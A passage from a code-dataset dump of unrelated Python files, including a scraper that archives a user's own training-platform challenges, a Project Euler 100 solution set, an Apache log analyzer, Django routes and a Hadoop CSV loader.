url, data):\n self.check_token()\n call_url = urllib.parse.urljoin(self.baseUrl, url)\n cookies = {'Authentication': self.token, 'CSRF-TOKEN': self.csrf}\n headers = {'x-csrf-token': self.csrf, 'Content-type': 'application/json'}\n res = requests.put(call_url, data=data, cookies=cookies, headers=headers)\n res.raise_for_status()\n return res\n\n def download_file(self, url, dest_filepath):\n self.check_token()\n if os.path.exists(dest_filepath):\n return\n call_url = urllib.parse.urljoin(self.baseUrl, url)\n cookies = {'Authentication': self.token, 'CSRF-TOKEN': self.csrf}\n # NOTE the stream=True parameter below\n with requests.get(call_url, stream=True, cookies=cookies) as r:\n r.raise_for_status()\n with open(dest_filepath, 'wb') as f:\n for chunk in r.iter_content(chunk_size=8192):\n # If you have chunk encoded response uncomment if\n # and set chunk_size parameter to None.\n # if chunk:\n f.write(chunk)\n\n def get_all_events(self):\n return self.get(\"/api/user/events\").json()\n\n def get_own_events(self):\n return self.get(\"/api/user/events?type=CURRICULUM,STANDALONE_EVENT\").json()\n\n def get_event(self, event_id):\n return self.get('/api/user/events/' + str(event_id)).json()\n\n def get_curriculumevents(self, eventid):\n return self.get('/api/user/events/' + str(eventid) + '/curriculumevents/').json()\n\n def get_units(self, eventid):\n return self.get('/api/user/events/' + str(eventid) + '/units/').json()\n\n def get_challenge(self, unit):\n challenge_id = ''\n if type(unit['id']) == int or float:\n challenge_id = str(unit['id'])\n if unit['type'] == 'THEORY':\n _challenge = self.get('/api/user/theories/' + challenge_id).json()\n else:\n _challenge = self.get('/api/user/challenges/' + challenge_id).json()\n for i, section in enumerate(_challenge['sections']):\n try:\n section['steps'] = self.get_steps(_challenge['id'], section['id'])\n except requests.HTTPError as e:\n section['steps'] = []\n return _challenge\n\n def get_challenge_comment(self, unit):\n challengeid = ''\n # api/user/challenges/1786/comments/\n if type(unit['id']) == int or float:\n challengeid = str(unit['id'])\n comments = self.get('/api/user/challenges/' + challengeid + '/comments/').json()\n return comments\n\n def get_steps(self, challenge_id, section_id):\n return self.get('/api/user/challenges/' + str(challenge_id) + '/sections/' + section_id\n + '/steps/').json()\n\n def start_container(self, challenge_id, resource_id):\n return self.put('/api/user/challenges/' + str(challenge_id) + '/resources/' + resource_id,\n '{\"requestedOperation\":\"START\"}').json()\n\n # ---------------------------------------------\n def download_resources(self, base_path, challenge):\n if 'resources' in challenge.keys():\n for resource in challenge['resources']:\n if resource['type'] == 'FILE':\n res = self.start_container(challenge['id'], resource['id'])\n download_url = res['hyperlink'] + '/' + res['id'] + '/' + res['name']\n filename = os.path.join(base_path, res['name'])\n self.download_file(download_url, filename)\n\n def download_medias(self, challenge_folder, challenge):\n for section in challenge['sections']:\n self.download_medias_from_content(challenge_folder, section['content'])\n self.download_medias_from_steps(challenge_folder, section['steps'])\n\n def download_medias_from_steps(self, folder, steps):\n for step in steps:\n self.download_medias_from_content(folder, step['content'])\n\n def download_medias_from_content(self, challenge_folder, content):\n for media in media_links(content):\n url = media[1]\n filename = url_to_filename(url)\n if is_download_media_valid(filename):\n path = os.path.join(challenge_folder, filename)\n self.download_file(url, path)\n\n def download_comment_attachments(self, path_comment_folder, comments):\n for comment in comments:\n if 'attachment' in comment.keys():\n filename = os.path.join(path_comment_folder,\n str(comment['attachment']['id']) + \"_\" + comment['attachment']['name'])\n self.download_file(\"/api/attachments/\" + str(comment['attachment']['id']), filename)\n\n\ndef media_links(content):\n return re.findall(r'\\[(.*?)\\]\\((.*?)\\)', content)\n\n\ndef url_to_filename(url):\n return url.split('/')[-1]\n\n\ndef is_download_media_valid(filename):\n return re.match(r\"(.*?)\\.(jpg|png|gif|doc|pdf|mp4|txt|apk)$\", filename)\n\n\ndef render_template(data, fullpath, template):\n # if os.path.exists(fullpath):\n # return\n with open(template) as f:\n content = f.read()\n template = Template(content)\n output_content = template.render(data)\n f = open(fullpath, \"w\", encoding=\"utf-8\")\n f.write(output_content)\n f.close()\n\n\ndef write_challange_content(path, event, curriculumevent, challange):\n render_template({\n 'event': event,\n 'curriculum': curriculumevent,\n 'challange': challange\n }, path, 'README.template.md')\n\n\ndef write_writeup_content(path, event, curriculumevent, challange, author):\n render_template({\n 'event': event,\n 'curriculum': curriculumevent,\n 'challange': challange,\n 'author': author\n }, path, 'WRITEUP.template.md')\n\n\ndef write_comment_content(path, comments):\n render_template({\n 'comments': comments,\n }, path, 'COMMENTS.template.md')\n\n\ndef replace_medialink_in_content_with_local_filename(content):\n for media_link in media_links(content):\n filename = url_to_filename(media_link[1])\n content.replace(media_link[1], filename)\n\n\ndef makedir(path):\n os.makedirs(path, exist_ok=True)\n\n\ndef remove_links(challenge):\n for section in challenge['sections']:\n section['content'] = remove_links_from_content(section['content'])\n section['steps'] = remove_links_from_steps(section['steps'])\n return challenge\n\n\ndef remove_links_from_steps(steps):\n for step in steps:\n step['content'] = remove_links_from_content(step['content'])\n return steps\n\n\ndef remove_links_from_content(content):\n new_content = content\n for media in media_links(content):\n url = media[1]\n filename = url_to_filename(url)\n new_content = new_content.replace(url, \"medias/\" + filename)\n return new_content\n\n\ndef make_valid_filename(s):\n if not s:\n return ''\n badchars = '\\\\/:*?\\\"<>|'\n for c in badchars:\n s = s.replace(c, '')\n return s\n\n\ndef create_path(base_folder, event, curriculumevent, unit, child_folder=''):\n return os.path.join(base_folder, remove_umlaut(event['name']).strip(),\n str(curriculumevent['sortOrder'] + 1).zfill(2) + ' - ' + make_valid_filename(\n remove_umlaut(curriculumevent['name'])).strip(),\n str(unit['sortOrder'] + 1).zfill(2) + ' - ' + make_valid_filename(\n remove_umlaut(unit['title'])).strip(), child_folder.strip())\n\n\ndef remove_umlaut(string):\n \"\"\"\n Removes umlauts from strings and replaces them with the letter+e convention\n :param string: string to remove umlauts from\n :return: unumlauted string\n \"\"\"\n u = 'ü'.encode()\n U = 'Ü'.encode()\n a = 'ä'.encode()\n A = 'Ä'.encode()\n o = 'ö'.encode()\n O = 'Ö'.encode()\n ss = 'ß'.encode()\n\n string = string.encode()\n string = string.replace(u, b'ue')\n string = string.replace(U, b'Ue')\n string = string.replace(a, b'ae')\n string = string.replace(A, b'Ae')\n string = string.replace(o, b'oe')\n string = string.replace(O, b'Oe')\n string = string.replace(ss, b'ss')\n\n string = string.decode('utf-8')\n return string\n\n\ndef get_credentials():\n cred_file = \".hl-cred.json\"\n if os.path.exists(cred_file):\n f = open(cred_file, )\n data = json.load(f)\n return data\n cred_file = \"~/.hl-cred.json\"\n if os.path.exists(cred_file):\n f = open(cred_file, )\n data = json.load(f)\n return data\n\n if sys.stdin.isatty():\n print(\"Username: \", end='')\n username = input()\n password = getpass.getpass(prompt='Password: ', stream=None)\n else:\n username = sys.stdin.readline().rstrip()\n password = sys.stdin.readline().rstrip()\n return {\n 'username': username,\n 'password': password\n }\n\n\nif __name__ == '__main__':\n hl = HL()\n credentials = get_credentials()\n hl.connect(credentials)\n base_folder = '.'\n\n events = hl.get_own_events()\n bar_event = tqdm(events, desc=\"Events\")\n for event in bar_event:\n bar_event.set_description(event['name'])\n try:\n bar_curriculumevent = tqdm(hl.get_curriculumevents(event['id']), desc=\"Curriculum\", leave=False)\n except requests.HTTPError as e:\n continue\n for curriculumevent in bar_curriculumevent:\n try:\n units = hl.get_units(curriculumevent['id'])\n except requests.HTTPError as e:\n continue\n if not isinstance(units, list):\n continue\n bar_curriculumevent.set_description(curriculumevent['name'])\n bar_unit = tqdm(units, desc=\"Challanges \", leave=False)\n for unit in bar_unit:\n bar_unit.set_description(unit['title'])\n # Setup\n valid_path_event_name = make_valid_filename(event['name'])\n valid_path_curriculumevent_name = make_valid_filename(curriculumevent['name'])\n challenge = hl.get_challenge(unit)\n unit_folder = create_path(base_folder, event, curriculumevent, unit, '')\n makedir(unit_folder)\n\n # Download resources from challange task\n path_resource_folder = create_path(base_folder, event, curriculumevent, unit, 'resources')\n makedir(path_resource_folder)\n hl.download_resources(path_resource_folder, challenge)\n\n # Download attachments from comments\n path_comment_folder = create_path(base_folder, event, curriculumevent, unit, 'comments')\n makedir(path_comment_folder)\n hl.download_comment_attachments(path_comment_folder, hl.get_challenge_comment(unit))\n\n # Download media from Challange description\n path_media_folder = create_path(base_folder, event, curriculumevent, unit, 'medias')\n makedir(path_media_folder)\n hl.download_medias(path_media_folder, challenge)\n\n challenge = remove_links(challenge)\n\n # Create README.md\n challenge_file = create_path(base_folder, event, curriculumevent, unit, 'README.md')\n write_challange_content(challenge_file, event, curriculumevent, challenge)\n # Create COMMENT.md\n comment_file = create_path(base_folder, event, curriculumevent, unit, 'COMMENT.md')\n # Crete WRITEUP.md\n write_comment_content(comment_file, hl.get_challenge_comment(unit))\n writeup_file = create_path(base_folder, event, curriculumevent, unit, 'WRITEUP.md')\n write_writeup_content(writeup_file, event, curriculumevent, challenge, hl.author)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"372916141","text":"import math\r\ntest=int(input())\r\nstore=[0]*test\r\nfor i in range(0,test):\r\n line=input()\r\n x=line.split(' ')\r\n start=int(x[0])\r\n end=int(x[1])\r\n\r\n store[i]=math.floor(math.sqrt(end))-math.ceil(math.sqrt(start))+1\r\nfor j in range(0,test):\r\n print(store[j])\r\n","sub_path":"New folder/Square Numbers.py","file_name":"Square Numbers.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"514879519","text":"# 给定一个非空整数数组,其中某个元素只出现一次,其余元素均出现两次,找出只出现一次的元素\n\nclass Solution:\n def singleNumber(self, nums: List[int]) -> int:\n dictionary = {}\n for n in nums:\n if n in dictionary:\n del dictionary[n]\n else:\n dictionary[n] = 1\n return list(dictionary.keys())[0]\n\n# 对于重复问题,第一个应想到的是哈希表解法\n# 这里注意字典的keys()返回不是list类型,需要强制转换","sub_path":"初级算法/数组/1_5.py","file_name":"1_5.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"537350943","text":"#!/usr/bin/python\n# Solved by Bogdan Trif @ Completed on Fri, 18 Nov 2016, 13:12\n#The Euler Project https://projecteuler.net\n'''\n Arranged probability - Problem 100\nIf a box contains twenty-one coloured discs, composed of fifteen blue discs and six red discs,\nand two discs were taken at random, it can be seen that the probability of taking two blue discs,\nP(BB) = (15/21)×(14/20) = 1/2.\n\nThe next such arrangement, for which there is exactly 50% chance of taking two blue discs at random,\nis a box containing eighty-five blue discs and thirty-five red discs.\nP(BB) = (85/120)×(84/119) = 1/2.\n\nBy finding the first arrangement to contain over 10**12 = 1,000,000,000,000 discs in total,\ndetermine the number of blue discs that the box would contain.\n'''\nimport time\nfrom math import gcd, sqrt, floor\nfrom fractions import Fraction\nfrom itertools import cycle\n\n\nclass CONTINUED_FRACTIONS(object):\n ''' Made by Bogdan Trif @ 2016-11-18.\n\n :NOTE: CUSTOMIZED Here for Problem 100 - Arranged Probabilities\n\n It needs the factions.Fraction, itertools.cycle and math.floor '''\n # from math import floor\n # from fractions import Fraction\n # from itertools import cycle\n def continued_fractions(self ,number): # FASTEST ALGORITHM to compute coefficients\n ''':Description: THE FASTEST ALGORITHM\n After if find the proper period of the continued fractions it returns the result.\n :param number: is the number for which the square root continued fraction coefficients will be computed\n :return: list containing the periodic continued fractions terms '''\n result = []\n fraction = ()\n m = 0\n d = 1\n self.a0 = number ** 0.5 # self.a0 - guaranties that I can access a0 to the second method (function)\n if self.a0.is_integer():\n return [self.a0, None]\n self.a0 = floor(self.a0)\n a = self.a0\n # result.append(a)\n while True:\n m = d * a - m\n d = (number - m ** 2) / d\n a = floor((self.a0 + m) / d)\n fraction += (a,)\n if a == 2 * self.a0 :\n break\n # result.append(fraction)\n return fraction\n\n def rationalize(self, number, nth) :\n ''' :Description: Adapted for the class CONTINUED_FRACTIONS. It cycles the periodic coefficients with number of terms specified\n :param: :number: int, number for which square root rationals will be computed\n :nth: int, the number of terms to be computed: n-th representation\n :Example: *>>>CONTINUED_FRACTIONS().rationalize(2, 8)* will yield :\n\n *1/2, 2/5, 5/12, 12/29, 29/70, 70/169, 169/408, 577/408*\n '''\n COEFF=[]\n C = cycle(self.continued_fractions (number))\n cfr = [ next(C) for i in range(nth) ]\n # print(cfr)\n frac = Fraction(1, cfr[-1])\n n,d = int(str(frac).split('/')[0]), int(str(frac).split('/')[1])\n COEFF.append((n,d))\n # print(frac , end=' ') #,' <-Start')\n for i in reversed(range(1, len(cfr)-1)) :\n frac = 1 / (frac + cfr[i])\n # print(frac, end= ' ')\n n,d = int(str(frac).split('/')[0]), int(str(frac).split('/')[1])\n COEFF.append((n,d))\n #print(frac+self.a0 ) #, ' <-- Final Answer')\n return COEFF # frac+self.a0\n\ndef calc_probability_blue(b, r):\n return (b/(b+r) * (b-1)/(b+r-1))\n\nprint('\\n--------------------------TESTS------------------------------')\n\n\n\nprint(calc_probability_blue(85,35),'\\n')\n\n# epsilon=1e-12\n# for r in range(6, 10000):\n# for b in range(int(r*2.4), int(r*2.5)+1 ):\n# p = calc_probability_blue(b,r)\n# if abs(p-(1/2)) < epsilon :\n# g = gcd(b,r)\n# print(p, ' r=',r ,' b=' ,b, b+r, ' ', b-1, b+r-1, ' gcd=',g , (b+r)/g, (b/g)*(b+r)/g )\n\nprint('\\n\\nCONTINUED_FRACTIONS().rationalize(2, 8) Test CLASS : \\n', CONTINUED_FRACTIONS().rationalize(2, 8))\n\n\n # 0.5 r= 6 b= 15 21 14 20 gcd= 3 7.0 35.0\n # 0.5 r= 35 b= 85 120 84 119 gcd= 5 24.0 408.0\n # 0.5 r= 204 b= 493 697 492 696 gcd= 17 41.0 1189.0\n # 0.5 r= 1189 b= 2871 4060 2870 4059 gcd= 29 140.0 13860.0\n # 0.5 r= 6930 b= 16731 23661 16730 23660 gcd= 99 239.0 40391.0\n#\n# Raspuns : partial fractions :\n# example\n# r : 35-6=29 , b : 85-15=70 => 29/70\n# r : 204-35=169 , b : 493-85=408 => 169/408\n# r : 1189-204=985 , b : 2871-493=2378 => 985/2378\n#\n# OLAAAAAAAAAAAAAAAAAAAAAAAA ! PARTIAL FRACTIONS !!!!!!!!!!!!\n\nprint('\\n-------------------------- END TESTS------------------------------')\n\nprint('\\n================ My FIRST SOLUTION, ===============\\n')\nt1 = time.time()\n\ndef blue_da_ba_di_discs_eiffel65(limit) :\n COEFFs = CONTINUED_FRACTIONS().rationalize(2, 35)\n COEFFs = COEFFs[4::2]\n print('\\n',COEFFs,'\\n')\n r , b = 6, 15 # r -red, b - blue\n d = r+b # d - total discs\n i=0\n P = lambda b,r : (b /(b+r) * (b-1)/(b+r-1))\n p = P(b,r)\n print( str(i+1)+'. r=', r ,' b=' ,b , d, ' ', b-1, d-1, ' prob=', p )\n while d < 1e12 :\n r += COEFFs[i][0]\n b += COEFFs[i][1]\n d = r+b\n p = P(b,r)\n print( str(i+2)+'. r=', r ,' b=' ,b , d, ' ', b-1, d-1, ' prob=', p, ' ' ,len(str(d)) )\n i+=1\n return print('\\n\\nBLUE DISCS within limit ', limit,' are : ', b )\n\nblue_da_ba_di_discs_eiffel65(1e12)\n\n\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\n\nprint('\\n===============OTHER SOLUTIONS FROM THE EULER FORUM ==============')\nprint('\\n--------------------------SOLUTION 1, kfukuda2 --------------------------')\nt1 = time.time()\n\nimport numpy as np\nb = 15\nr = 6\nprev_r = 1\nsum = 0\nwhile sum < 10**12:\n temp = 6*r - prev_r\n prev_r = r\n r = temp\n b = int(np.max(np.roots([-1, 2*r+1, -r+r**2])))\n sum = r+b\nprint (b)\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\nprint('\\n--------------------------SOLUTION 2, JMoc1978, USA --------------------------')\nt1 = time.time()\n# So, not as sophisticated as the Diophantine equation, but my reasoning got me in the door to learn more.\n# This has been one of my favorite problems thus far.\n# I started with the assumption that the ratio of blue discs (b) to the total (n) was b ≈ n/√2\n#\n# Next, the number of blue discs progressed such that the next value for blue discs was\n# b_(n+1) ⪅ [ b_n / ( b_(n−1) / b_n ) ]\n# This always underestimated b and n, therefore, one could loop up to the next values that fit the criteria.\n\nfrom time import clock\nimport math\n\ndef Prob(TotalDiscs):\n\n Total = 3 #The denominator\n Ratio = 1 #The probability that is being tested\n LastBlue = 1 #The number of blue discs that last met the criteria\n\n while Total:\n\n Blue = (math.ceil(Total/math.sqrt(2)))\n Ratio = (Blue*(Blue-1))/(Total*(Total-1))\n\n if Ratio == 0.5:\n\n Total = math.ceil((Blue/(LastBlue/Blue))*math.sqrt(2))\n LastBlue = Blue\n\n if Blue*math.sqrt(2) > TotalDiscs:\n break\n\n else:\n\n Total += 1\n\n return LastBlue\n\nprint(Prob(10**12))\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\nprint('\\n--------------------------SOLUTION 3, WalkerTesla, USA --------------------------')\nt1 = time.time()\n# Pell Equations really kill this question. Through repeated use of the Quadratic Formula, we find that if t = total and b = blue,\n# and if [a,c] is a solution to a^2-2c^2 = -1, then t = (a+1)/2 and b = (c+1)/2.\n# From here we can recursively generate the solutions to this Pell Equation to quickly solve the problem.\n# Here is a Python script which does this:\n\nimport math\npell_pair = [41,29]\ndef the_recurse():\n a = pell_pair[0]\n b = pell_pair[1]\n pell_pair[0] = 3*a+4*b\n pell_pair[1] = 2*a+3*b\n\nwhile pell_pair[0]<2*10**12-1:\n the_recurse()\n\nprint ( (pell_pair[1]+1)/2 )\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\nprint('\\n--------------------------SOLUTION 4, Alex-82w4, USA --------------------------')\nt1 = time.time()\n# The solution based on a Pell equation.\n# P(BB)=x(x−1) / y(y−1)=1/2(1)\n\nimport math\n\ndef MainProc1() :\n a = 3 + 2 * math.sqrt(2)\n b = 3 - 2 * math.sqrt(2)\n\n for i in range (2, 20, 1) :\n k_s = math.ceil(math.ceil((math.pow(a, i) + math.pow(b, i)))/2)\n z = math.ceil(math.sqrt(math.ceil((math.pow(k_s, 2) - 1))/8))\n x = z + math.ceil((k_s + 1)/2)\n y = x + z\n\n if y > math.pow(10, 12) :\n print (\"i y x z\")\n print (i, y, x, z)\n break\n\n#i y x z\n#16 1070379110497 756872327473 313506783024\nMainProc1()\n\n\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\nprint('\\n--------------------------SOLUTION 5, Sandamnit, USA --------------------------')\nt1 = time.time()\n\n# Can derive Pell's equation pretty easily from the information given.\n# The \"smallest\" solution is (3,1) where 3^2 - 8*1^2 = 1, corresponding to the solution b=3 and r=1.\n# Repeatedly composing this solution using Brahmagupta's identity, we obtain all \"larger\" solutions (n,r),\n# putting b = (1+2r+n)/2.\n\nx,y = 3,1\nwhile True:\n x,y = 3*x+8*y, 3*y+x\n b = (1+2*y+x)//2\n if b+y > 1000000000000: break\nprint(b)\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\n\nprint('\\n--------------------------SOLUTION 6, DFHD, England --------------------------')\nt1 = time.time()\n\n# Nice problem to complete the first 100!\n# I thought Pell must be involved but I couldn't figure out how.\n# Also realised sqrt(2) as a fraction was relevant but I couldn't find a way to use it.\n#\n# So I tried brute force, but soon realised that was getting nowhere fast, even after much work improving the brute force technique.\n# So another day later, after staring at the low solutions that I'd already found by brute force,\n# I finally saw patterns in the number of red and blue discs for each solution:\n\n# r[i] = 6*r[i-1] - r[i-2]\n# b[i] = 6*b[i-1] - b[i-2] - 2\n#\n# Then it was easy to code a solution, as long as I put in correct starting conditions\n\n\nr = [0, 1]\nb = [1, 3]\n\nd = r[-1] + b[-1]\n\nwhile d < 10**12:\n r.append(6 * r[-1] - r[-2])\n b.append(6 * b[-1] - b[-2] - 2)\n d = r[-1] + b[-1]\n print(r[-1], b[-1], d)\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\n\nprint('\\n--------------------------SOLUTION 7, aolea, Spain --------------------------')\nt1 = time.time()\n#\n# From b*(b-1)/t*(t-1) --> 2*b^2-2*b-t^2+t=0\n#\n# Using:\n# 8*b = x +4\n# 8*t = y + 4\n#\n# We have:\n#\n# 2*x^2 - y^2 = 16\n#\n# Using:\n# x = 4*u + 4*v\n# y 4*u + 8*v\n#\n# We have:\n#\n# u^2 - 2*v^2 = 1\n#\n# Equation with least solution of (3,2) and a recurrence of:\n#\n# xk+1 = x1*xk + 2*y1*yk\n# yk+1 = x1*yk + y1*xk\n\n\nt = 0\nx1 = 3\ny1 = 2\nn = 2\n\nx = x1\ny = y1\n\nwhile t < 10**12:\n xm = x\n x = x1 * x + n * y1 * y\n y = x1 * y + y1 * xm\n b = (x + y + 1) / 2\n t = (x + 2 * y + 1) / 2\n print(x,y,b,t)\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\n\nprint('\\n--------------------------SOLUTION 8, eltong, Albania --------------------------')\nt1 = time.time()\n\n# Instant answer, coded in Python. Oh well...\n\nfrom math import ceil, sqrt\n\ndef gen_b(n):\n \"\"\"number of blue discs\"\"\"\n return int(ceil((2 * (3 - 2 * sqrt(2))**n + sqrt(2) * (3 - 2 * sqrt(2))**n + 2 * (3 + 2 * sqrt(2))**n - sqrt(2) * (3 + 2 * sqrt(2))**n + 4) / 8))\n\ndef gen_s(n):\n \"\"\"total number of discs\"\"\"\n return int(ceil((-(3 - 2 * sqrt(2))**n - sqrt(2) * (3 - 2 * sqrt(2))**n - (3 + 2 * sqrt(2))**n + sqrt(2) * (3 + 2 * sqrt(2))**n + 2) / 4))\n\ni = 5\n\nwhile True:\n if gen_s(i) > 10**12:\n print(gen_b(i))\n break\n i += 1\n\nt2 = time.time()\nprint('\\nCompleted in :', round((t2-t1)*1000,6), 'ms\\n\\n')\n\n","sub_path":"Project EULER/pb100 Arranged probability.py","file_name":"pb100 Arranged probability.py","file_ext":"py","file_size_in_byte":12158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"19371398","text":"import apache_log_parser\nimport sys\nimport collections\nimport datetime\nimport argparse\n\nstart = []\nhost = []\ntime = []\n\ndef arg_parse():\n parse_argv = argparse.ArgumentParser(description='Apache log 解析ツール')\n parse_argv.add_argument('-input_file', nargs='*')\n parse_argv.add_argument('-term',nargs=2)\n args = parse_argv.parse_args()\n if args.term == None:\n return args\n else:\n for period in args.term:\n dt = datetime.datetime.fromisoformat(period)\n start.append(dt)\n start.sort()\n return args\n\ndef log_analyze():\n argument = arg_parse()\n for input in argument.input_file:\n log_file = open(\"./\" + input)\n parser = apache_log_parser.make_parser('%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"')\n raw_log = log_file.readline()\n while raw_log:\n try:\n log_data = parser(raw_log)\n except:\n print(\"正しいApacheのログファイルであるか確認してください。\")\n sys.exit()\n str_to_datetimeobj = datetime.datetime.fromisoformat(log_data['time_received_isoformat'])\n if argument.term != None:\n if start[0] <= str_to_datetimeobj <= start[1]:\n host.append(log_data['remote_host'])\n time.append(str(str_to_datetimeobj.hour) + \"時\")\n else:\n host.append(log_data['remote_host'])\n time.append(str(str_to_datetimeobj.hour) + \"時\")\n raw_log = log_file.readline()\n\ndef output_result():\n for list in [host,time]:\n result = collections.Counter(list).most_common()\n for item in result:\n print(item[0]+ \" \" + str(item[1]) + \"���\")\n\nlog_analyze()\noutput_result()\n","sub_path":"apache_log_analyzer.py","file_name":"apache_log_analyzer.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"563642715","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.product_list, name='product_list'),\n url(r'^(?P\\d+)/$', views.product_detail, name='product_detail'),\n url(r'^new/$', views.product_new, name='product_new'),\n url(r'^(?P\\d+)/edit/$', views.product_edit, name='product_edit'),\n url(r'^(?P\\d+)/orders/new/$', views.order_new, name='order_new'),\n url(r'^(?P\\d+)/orders/(?P\\d+)/pay/$', views.order_pay, name='order_pay'),\n]\n","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"188604528","text":"import colorama\nfrom classes.Game import Game\n\ncolorama.init(autoreset=True)\n\n# Hide the cursor\nprint(\"\\x1b[?25l\")\n\ngame = Game()\n\noption_picked = game.start_game()\n\nif option_picked == -1:\n game.quit_game()\nelse:\n # If the game has to be started\n game.play_game()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"200427800","text":"#!/usr/bin/python\nimport re\nimport os\nimport sys\nimport shutil\nimport subprocess\nimport csv\nimport time\n\nclass ProspectHadoopProcessing:\n \"\"\"\n This Class will process and load the process data in to Hadoop.\n \"\"\"\n def __init__(self,logger,error_log,error_mail):\n \"\"\"\n This constructor will enable the logger.\n \"\"\"\n self.logger = logger\n self.error = error_log\n self.error_log = error_mail\n\n def prospect_hadoop_processing(self,prospect_staging_dir,file_name,hdfs_dir,external_db,prospect_db,scripts_dir,post_validation,hiveserver2,port,prinicipal):\n \"\"\"\n This method will load the prospect data in to hadoop.\n \"\"\"\n self.logger.info(\"in ProspectHadoopProcessing class,prospect_hadoop_processing method \")\n prospect_file = file_name+\".\"+\"csv\"\n staging_dir = prospect_staging_dir+file_name.lower()\n csv_file = os.path.join(staging_dir,prospect_file)\n self.logger.info(\"csv_file, we need to process:%s\"%csv_file)\n status = os.path.isfile(csv_file)\n if (status == True): \n self.logger.info(\"csv_file, exists:%s\"%csv_file)\n self.logger.info(\"csv_file, exists:%s,calling read_csv_file_prepare_header method\"%csv_file)\n table_header,header = self.read_csv_file_prepare_header(csv_file,post_validation)\n self.logger.info(\"Got the table hearder\")\n self.logger.info(\"calling creating external table method\")\n \n external_ddl_script = self.create_external_table(table_header,file_name,hdfs_dir,external_db,scripts_dir) \n self.logger.info(\"calling creating internal table method\")\n internal_ddl_script = self.create_internal_table(table_header,file_name,prospect_db,external_db,scripts_dir)\n self.logger.info(\"calling copy_csv_to_hdfs method\")\n \n self.copy_csv_to_hdfs(file_name,csv_file,hdfs_dir,post_validation)\n self.logger.info(\"calling execute_hive_scripts to execute external table script\")\n self.execute_hive_scripts(external_ddl_script,post_validation,hiveserver2,port,prinicipal)\n self.logger.info(\"calling execute_hive_scripts to execute internal table script\")\n self.execute_hive_scripts(internal_ddl_script,post_validation,hiveserver2,port,prinicipal)\n self.logger.info(\"hadoop processing completed successfully\")\n return header\n else:\n self.logger.debug(\"csv file not found in staging directory:%s\"%csv_file)\n self.error.write(\"FTE001:csv file not found in staging directory:%s\"%csv_file)\n self.logger.debug(\"FTE001:csv file not found in staging directory:%s\"%csv_file)\n self.error.close()\n time.sleep(1)\n post_validation.send_mail()\n sys.exit(1)\n\n def read_csv_file_prepare_header(self,prospect_csv_file,post_validation):\n \"\"\"\n This method will read the csv file and return the table header.\n \"\"\"\n self.logger.info(\"in ProspectHadoopProcessing class,read_csv_file_prepare_header method \")\n table_header=[]\n fd = open(prospect_csv_file,'r')\n header = fd.readline()\n data=csv.reader(header, quotechar='\"', delimiter=',',quoting=csv.QUOTE_ALL)\n for attr in data:\n if (len(attr)==1):\n attribute = str(attr[0]).strip('[]')\n attr = attribute.replace(' ','_').replace('-','_').replace(',','_')\n table_header.append(attr)\n if (len(table_header) != 0):\n self.logger.info(\"header is not empty, length of fileds:%s\"%(len(table_header)))\n return table_header,header\n else:\n self.logger.debug(\"header is empty, length of fileds:%s\"%(len(table_header)))\n self.error.write(\"FTE001:header is empty, length of fileds:%s\"%(len(table_header)))\n self.logger.debug(\"FTE001:header is empty, length of fileds:%s\"%(len(table_header)))\n self.error.close()\n time.sleep(1)\n post_validation.send_mail()\n sys.exit(1)\n return False\n \n def create_external_table(self,table_header,file_name,hdfs_path,external_db,scripts_dir):\n \"\"\"\n This method will create the external table ddl.\n \"\"\"\n self.logger.info(\"in ProspectHadoopProcessing class, create_external_table method\")\n file_name=file_name.lower()\n hdfs_location = hdfs_path+file_name\n self.logger.info(\"hdfs location:%s\"%hdfs_location)\n scripts_dir = scripts_dir+file_name+\"/\"\n self.logger.info(\"scripts_dir:%s\"%scripts_dir)\n os.makedirs(scripts_dir)\n external_file_dir = scripts_dir+file_name+\"_\"+\"external.sh\"\n self.logger.info(\"external_file_dir:%s\"%external_file_dir)\n self.logger.info(\"generating external table DDL in external_table_ddl_file_dir:%s\"%external_file_dir)\n file_name=file_name.replace(\"-\",\"_\")\n fd = open(external_file_dir,\"w\")\n fd.write(\"set hive.execution.engine=MR;\\n\")\n fd.write(\"CREATE EXTERNAL TABLE %s.%s ( \\n\"%(external_db,file_name))\n for attr in table_header:\n if (attr==table_header[-1]):\n field = attr+\" \"+\"String\"+\")\"\n else:\n field = attr+\" \"+\"String\"+\",\"\n fd.write(field+'\\n')\n fd.write(\"ROW FORMAT SERDE \\n\")\n fd.write(\" 'org.apache.hadoop.hive.serde2.OpenCSVSerde'\\n\")\n fd.write(\"WITH SERDEPROPERTIES (\\n\")\n fd.write(\" 'quoteChar'='\\\\\\\"',\\n\")\n fd.write(\" 